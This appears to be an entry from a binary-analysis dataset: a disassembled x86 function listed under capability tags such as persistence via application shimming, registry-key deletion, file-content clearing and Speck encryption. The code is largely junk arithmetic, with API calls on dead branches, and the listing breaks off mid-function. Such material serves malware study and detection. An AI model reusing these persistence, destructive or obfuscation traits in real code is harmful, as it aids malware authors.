Function at 0x1003960f
Capabilities:
Clear file content
Create pipe
Delete registry key
Encrypt data using speck
Get graphical window text
Get memory capacity
Persist via application shimming
Query environment variable
Query or enumerate registry value

Disassembly:
mov eax, 0x1006625b
call fcn.10065410
sub esp, 0xa20
push ebx
mov dword [ebp - 0x48], 0xedc7
xor ebx, ebx
mov dword [ebp - 0x44], 0xfffffffd
push esi
mov dword [ebp - 0x34], ebx
push edi
mov dword [ebp - 0x44], 0xfbde283b
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x60], dl
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x4c], ebx
jmp 0x1003965b
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x7bc], 0xf050
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 4
jl 0x1003964a
push 3
mov dword [ebp - 0x4c], ebx
pop esi
jmp 0x1003967a
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x70c], 0x6046e74a
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jl 0x10039669
mov dword [ebp - 0x48], ebx
xor edx, edx
mov eax, dword [ebp - 0x48]
xor edi, edi
mov dword [ebp - 0x44], eax
inc edi
mov eax, dword [ebp - 0x44]
cmp eax, edi
setg dl
sub edx, dword [ebp - 0x48]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp eax, edx
setne cl
imul eax, ecx, 0xfffffffd
test eax, eax
jne 0x100396b9
mov ecx, ebx
cmp dword [ebp - 0x34], ebx
je 0x100396bb
mov ecx, edi
mov eax, dword [ebp - 0x48]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xfffffff6
setg cl
imul ecx, dword [ebp - 0x7bc]
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x44]
cmp eax, 0xe2cf
setl cl
mov dword [ebp - 0x708], ecx
mov dword [ebp - 0x38], 0x54d6
cmp dword [ebp - 0x38], 0x58ac
jle 0x10039746
mov esi, ebx
mov edi, ebx
mov eax, esi
lea ecx, [ebp - 0x834]
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000d910
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10039719
mov eax, dword [eax]
push eax
call fcn.10050146
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x834]
call fcn.10031721
inc edi
cmp edi, 0x2d6f
jl 0x100396fa
inc esi
cmp esi, 0x1d98
jl 0x100396f8
xor edi, edi
push 3
inc edi
pop esi
mov dword [ebp - 0x48], 0xedc7
mov dword [ebp - 0x44], 0xfffffffd
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x44], 0xfbde283b
mov dword [ebp - 0x4c], ebx
jmp 0x10039774
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x7d4], 0xf050
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 4
jl 0x10039763
mov dword [ebp - 0x4c], ebx
jmp 0x10039790
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x754], 0x6046e74a
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jl 0x1003977f
mov dword [ebp - 0x48], ebx
xor edx, edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, edi
setg dl
sub edx, dword [ebp - 0x48]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp eax, edx
setne cl
imul eax, ecx, 0xfffffffd
test eax, eax
jne 0x100397cc
mov ecx, ebx
cmp dword [ebp - 0x34], ebx
je 0x100397ce
mov ecx, edi
mov eax, dword [ebp - 0x48]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xfffffff6
setg cl
imul ecx, dword [ebp - 0x7d4]
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x44]
cmp eax, 0xe2cf
setl cl
mov dword [ebp - 0x750], ecx
cmp dword [ebp - 0x38], 0x510c
jge 0x1003980d
push 0x1000acc8
call fcn.10050146
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 0xd4081c29
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, edi
cmp dword [ebp - 0x1c], ebx
jne 0x10039830
mov eax, ebx
inc eax
cmp eax, 0xffff
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
neg eax
cmp dword [ebp - 0x1c], eax
jne 0x1003985f
mov dword [ebp - 0x34], 0xffffffff
cmp dword [ebp - 0x1c], ebx
je 0x10039857
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
jmp 0x10039879
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x10039879
push ebx
push 0xb96
push ebx
push 0x234a
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov dword [ebp - 0x48], 0xedc7
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x4c], 0x1c17
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x14], 0xd09eb818
push edi
call fcn.10031395
mov dword [ebp - 4], 2
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0xfffffff8
mov dword [ebp - 0x48], 0xfff6
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x50], 0xffff
mov dword [ebp - 0x44], 0xc85691f3
mov dword [ebp - 0x30], 0x9b2c3978
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x14], ebx
jmp 0x1003990e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x304]
mov dword [eax + ecx*4], 0xd20a2e71
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100398fb
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10039929
push 0x18ee
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], edi
mov eax, dword [ebp - 0x44]
cmp eax, edi
setle cl
sub ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
mov eax, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
inc ecx
neg eax
sbb eax, eax
inc eax
cmp eax, ecx
jg 0x10039984
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x304]
mov edx, dword [eax]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setge cl
sub ecx, edx
cmp ecx, edx
jne 0x100399a5
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
inc eax
je 0x100399fd
movdqa xmm0, xmmword [0x1000c510]
lea ecx, [ebp - 0x698]
push ecx
lea eax, [ebp - 0x688]
mov dword [ebp - 0x30], 0xfffffff6
push eax
push ecx
lea ecx, [ebp - 0x76c]
movdqu xmmword [ebp - 0x698], xmm0
call fcn.100313f1
mov dword [ebp - 0x44], 0xffffffff
lea ecx, [ebp - 0x76c]
mov dword [ebp - 0x14], 0x9622cfb6
dec dword [ebp - 0x44]
call fcn.10031417
jmp 0x10039a0a
mov dword [ebp - 0x34], 0x3bd0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x304]
call fcn.10031417
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x28], 0xb13e
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], ebx
jmp 0x10039a3b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x490], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10039a2e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0xffffffea
jl 0x10039b78
push esi
lea ecx, [ebp - 0x104]
call fcn.10031395
mov dword [ebp - 0x50], 0xcc9f196e
mov dword [ebp - 0x14], ebx
jmp 0x10039a7e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x104]
mov dword [eax + ecx*4], 0x8876942a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10039a6b
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], 2
jg 0x10039b4c
mov dword [ebp - 0x48], 0xcaf14c90
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x48], ebx
jmp 0x10039b32
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x44], 0x2b4cf22a
cmp dword [eax], ebx
je 0x10039b15
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x104]
cmp dword [eax + ecx*4], ebx
jne 0x10039b15
mov eax, dword [ebp - 0x28]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ecx + esi*4]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x104]
setne dl
imul eax, edx
xor edx, edx
cmp eax, dword [ecx + edi*4]
mov eax, dword [ebp - 0x34]
setl dl
xor ebx, ebx
cmp edx, dword [ecx + eax*4]
mov eax, dword [ebp - 0x48]
setle bl
add eax, ebx
xor ebx, ebx
neg eax
cmp eax, dword [ebp - 0x50]
je 0x10039b15
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov esi, dword [ebp - 0x48]
mov eax, dword [ebp - 0x104]
cmp dword [eax + ecx*4], ebx
setl dl
mov dword [eax + esi*4], edx
inc dword [ebp - 0x44]
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 2
jle 0x10039aa6
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x10039a90
push 3
pop esi
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10039b5d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [ebp - 0x104]
call fcn.10031417
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffea
jge 0x10039a53
xor edi, edi
inc edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x18], 0x2a1e9487
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x34], 0x76e5
mov dword [ebp - 0x30], 0xffffffff
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10039bac
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_UnionRect]
cmp dword [ebp - 0x48], ebx
je 0x10039bc2
mov eax, dword [ebp - 0x48]
mov eax, edi
cmp dword [ebp - 0x48], eax
jle 0x10039bc2
mov ecx, edi
cmp dword [ebp - 0x34], ebx
jne 0x10039bc4
mov ecx, ebx
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movdqa xmm0, xmmword [0x1000c4d0]
add eax, ecx
neg eax
lea ecx, [ebp - 0x608]
push ecx
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x14]
movdqu xmmword [ebp - 0x608], xmm0
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x5f8]
push eax
push ecx
mov dword [ebp - 0x44], 0xfbde283b
lea ecx, [ebp - 0x298]
call fcn.100313f1
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], 9
mov dword [ebp - 0x30], 0x8f0ed693
mov dword [ebp - 0x14], ebx
jmp 0x10039c36
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a0], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10039c25
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], esi
jg 0x10039cde
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x298]
cmp dword [eax + ecx*4], ebx
je 0x10039c7b
mov eax, dword [ebp - 0x19c]
mov esi, edi
mov eax, dword [ebp - 0x1c]
dec dword [ebp - 0x19c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x44], ebx
jne 0x10039c7d
mov esi, ebx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x298]
mov edx, dword [eax + ecx*4]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
imul edx, esi
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, edi
setg al
imul eax, dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x298]
sub edx, 0x4703
neg edx
sbb edx, edx
inc edx
sub edx, dword [ecx + eax*4]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp dword [ecx + esi*4], edx
setge al
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x10039c48
lea ecx, [ebp - 0x298]
call fcn.10031417
push 4
mov dword [ebp - 0x4c], ebx
pop esi
jmp 0x10039d02
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x7ec], 0xf050
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jl 0x10039cf1
mov dword [ebp - 0x38], 0x75c19c5a
mov dword [ebp - 0x48], 0xd3f46721
mov dword [ebp - 0x34], 0xe29ea414
mov dword [ebp - 0x3c], 0x37b04800
mov dword [ebp - 0x30], 0xfcc58a01
mov dword [ebp - 0x44], 0xcdffa870
mov dword [ebp - 0x14], ebx
jmp 0x10039d47
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5b8], 0xfffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10039d36
mov dword [ebp - 0x20], 0x55a
cmp dword [ebp - 0x20], 0x702
jle 0x10039da9
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x8a0]
and eax, edi
cdq
push edx
push eax
call fcn.1000d910
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10039d7c
mov eax, dword [eax]
push eax
call fcn.10050146
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x8a0]
call fcn.10031721
inc esi
cmp esi, 0x477b
jl 0x10039d60
inc edi
cmp edi, 0xd6f
jl 0x10039d5e
xor edi, edi
push 4
inc edi
pop esi
cmp dword [ebp - 0x5b0], ebx
je 0x10039dd5
mov dword [ebp - 0x44], 0xffffffff
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x10039dcd
push 0x1fdc
push ebx
call dword [sym.imp.USER32.dll_GetSubMenu]
dec dword [ebp - 0x44]
jmp 0x10039e9a
mov dword [ebp - 0x18], 0x203fca5e
mov dword [ebp - 0x14], ebx
jmp 0x10039def
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x64], 0xffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10039de1
mov dword [ebp - 0x48], ebx
jmp 0x10039e70
mov dword [ebp - 0x18], 0x3876a47c
mov dword [ebp - 0x14], ebx
jmp 0x10039e12
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x550], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10039e05
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54c], 6
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x64], 0x1a4e
cmp eax, edi
setg cl
xor eax, eax
cmp ecx, 0x4c6e12cd
mov ecx, dword [ebp - 0x64]
setle al
imul ecx, eax
mov eax, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x18], ecx
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffff1
jg 0x10039df9
mov eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x5b0]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setl dl
xor eax, eax
cmp edx, 0xc0d357
setne al
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x20], 0x4c1
jge 0x10039eae
push 0x1000ad24
call fcn.10050146
pop ecx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], ebx
jmp 0x10039ed1
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x760], 0x6046e74a
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jl 0x10039ec0
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x44], 0xa12a2ef7
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x38], 0x8fe4de5a
push 2
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x14], ebx
pop esi
jmp 0x10039f0a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1d4], 0xe46552de
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10039ef9
cmp dword [ebp - 0x48], ebx
je 0x10039ffe
mov dword [ebp - 0x44], 0xed15de05
mov dword [ebp - 0x34], 0x7f37c04c
mov dword [ebp - 0x48], ebx
cmp dword [ebp - 0x48], 0x31
jne 0x10039ff6
mov dword [ebp - 0x50], 0xdead
mov dword [ebp - 0x34], 0x5d9b4e94
mov dword [ebp - 0x38], 0x3184
cmp dword [ebp - 0x38], 0x356a
jle 0x10039f93
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x18]
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1060f818
or eax, ebx
cdq
push edx
push eax
call fcn.10031280
inc edi
cmp edi, 0x2e0f
jl 0x10039f5b
inc esi
push 0
pop ebx
cmp esi, 0x43e0
jl 0x10039f56
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0xf8
jl 0x10039f54
mov eax, dword [ebp - 0x44]
mov ecx, 0xffff9f30
mov eax, dword [ebp - 0x44]
sub ecx, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 5
cmp dword [ebp - 0x38], 0x2eea
jge 0x10039fc2
mov edx, 0x1000ad50
mov ecx, 0x1060f818
call fcn.10032d2a
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x48]
jmp 0x10039f29
xor edi, edi
inc edi
jmp 0x1003a124
movdqa xmm0, xmmword [0x1000c500]
lea ecx, [ebp - 0x618]
push ecx
lea eax, [ebp - 0x608]
mov dword [ebp - 0x20], 0xdeb77278
push eax
push ecx
lea ecx, [ebp - 0x4c8]
movdqu xmmword [ebp - 0x618], xmm0
call fcn.100313f1
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x18], 0xffff
push esi
call fcn.10031395
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x14], ebx
jmp 0x1003a068
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x388]
mov dword [eax + ecx*4], 0xde082ade
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003a055
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setle dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x38]
cmp edx, eax
mov eax, edi
setl cl
imul ecx, dword [ebp - 0x18]
dec dword [ebp - 0x18]
cmp ecx, 0xfff6
cmovb eax, ebx
xor edx, edx
mov dword [ebp - 0x1d0], eax
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x4c8]
setl dl
imul edx, dword [eax]
imul ecx, edx, 0x85f8
mov dword [eax + 0xc], edx
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x3c]
jg 0x1003a0e4
mov ecx, edi
cmp dword [ebp - 0x1d0], ebx
jne 0x1003a0e6
mov ecx, ebx
mov eax, dword [ebp - 0x48]
add eax, ecx
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x388]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x3c]
cmp edx, eax
sete cl
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x388]
call fcn.10031417
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c8]
call fcn.10031417
mov dword [ebp - 0x48], ebx
xor edx, edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, edi
setg dl
sub edx, dword [ebp - 0x48]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp eax, edx
setne cl
imul eax, ecx, 0xfffffffd
test eax, eax
jne 0x1003a15b
mov ecx, ebx
cmp dword [ebp - 0x28], ebx
je 0x1003a15d
mov ecx, edi
mov eax, dword [ebp - 0x48]
imul eax, ecx
xor ecx, ecx
movdqa xmm0, xmmword [0x1000c490]
cmp eax, 0xfffffff6
setg cl
imul ecx, dword [ebp - 0x7ec]
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x44]
cmp eax, 0xe2cf
lea eax, [ebp - 0x648]
setl cl
mov dword [ebp - 0x75c], ecx
lea ecx, [ebp - 0x658]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x718]
movdqu xmmword [ebp - 0x658], xmm0
call fcn.100313f1
mov esi, dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003a1c7
push ebx
call esi
mov dword [ebp - 0x14], ebx
jmp 0x1003a1df
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003a1dc
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x1003a1cc
lea ecx, [ebp - 0x718]
call fcn.10031417
movdqa xmm0, xmmword [0x1000c490]
lea ecx, [ebp - 0x6d8]
push ecx
lea eax, [ebp - 0x6c8]
push eax
push ecx
lea ecx, [ebp - 0x748]
movdqu xmmword [ebp - 0x6d8], xmm0
call fcn.100313f1
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003a229
push ebx
call esi
push 3
mov dword [ebp - 0x14], ebx
pop esi
jmp 0x1003a244
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003a241
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1003a231
lea ecx, [ebp - 0x748]
call fcn.10031417
push 4
mov dword [ebp - 0x4c], 0xfffffff9
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x4c], ebx
jmp 0x1003a27e
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xd4], 0x3ec93cc2
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edi
jl 0x1003a26d
mov dword [ebp - 0x4c], ebx
jmp 0x1003a299
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x678], 0xc0b333ee
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x1003a288
mov dword [ebp - 0x38], 0x331d
cmp dword [ebp - 0x38], 0x3392
jle 0x1003a31e
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x44], ebx
cdq
mov esi, ebx
idiv edi
mov edi, edx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x984]
cdq
push edx
push eax
call fcn.1000d910
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003a2dd
mov eax, dword [eax]
push eax
call fcn.10050146
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x984]
call fcn.10031721
inc esi
cmp esi, 0x164d
jl 0x1003a2bf
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x44], edi
cmp edi, 0x3195
jl 0x1003a2b8
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0xfeb
jl 0x1003a2b3
xor edi, edi
push 3
inc edi
pop esi
mov dword [ebp - 0x4c], 0xffffffec
jmp 0x1003a3e5
mov dword [ebp - 0x18], 0x3037
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x50], 0xfffffff6
cmp dword [ebp - 0x4c], ebx
je 0x1003a386
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
inc edx
sub eax, edx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, 4
setg cl
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0xd4], ebx
jne 0x1003a3ab
mov eax, dword [ebp - 0x678]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, 8
setge cl
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], ebx
je 0x1003a3c5
mov eax, edi
cmp dword [ebp - 0x14], ebx
jne 0x1003a3c7
mov eax, ebx
mov dword [ebp - 0x44], eax
xor ecx, ecx
mov eax, dword [ebp - 0x44]
cmp eax, edi
setl cl
imul eax, ecx, 0xd8f9
add eax, 0x7ed61392
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0xffffffe8
jge 0x1003a32a
cmp dword [ebp - 0x38], 0x30c5
jge 0x1003a403
push 0x1000adb4
call fcn.10050146
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6b8]
movdqa xmm0, xmmword [0x1000c490]
lea eax, [ebp - 0x6a8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x730]
movdqu xmmword [ebp - 0x6b8], xmm0
call fcn.100313f1
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x20], 0x2c03342e
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], 0x7c29
mov dword [ebp - 0x30], 0xbb1bb30b
mov dword [ebp - 0x30], 0xfec1e183
mov dword [ebp - 0x30], 0x11771b70
push edi
call fcn.10031395
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x14], ebx
jmp 0x1003a486
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x358]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003a473
mov dword [ebp - 0x20], 0x13
jmp 0x1003a5ad
mov dword [ebp - 0x48], edi
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0xc84b7b83
mov dword [ebp - 0x44], 0x3637b304
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x30], 0xe8e5
push esi
call fcn.10031395
mov dword [ebp - 0x4c], ebx
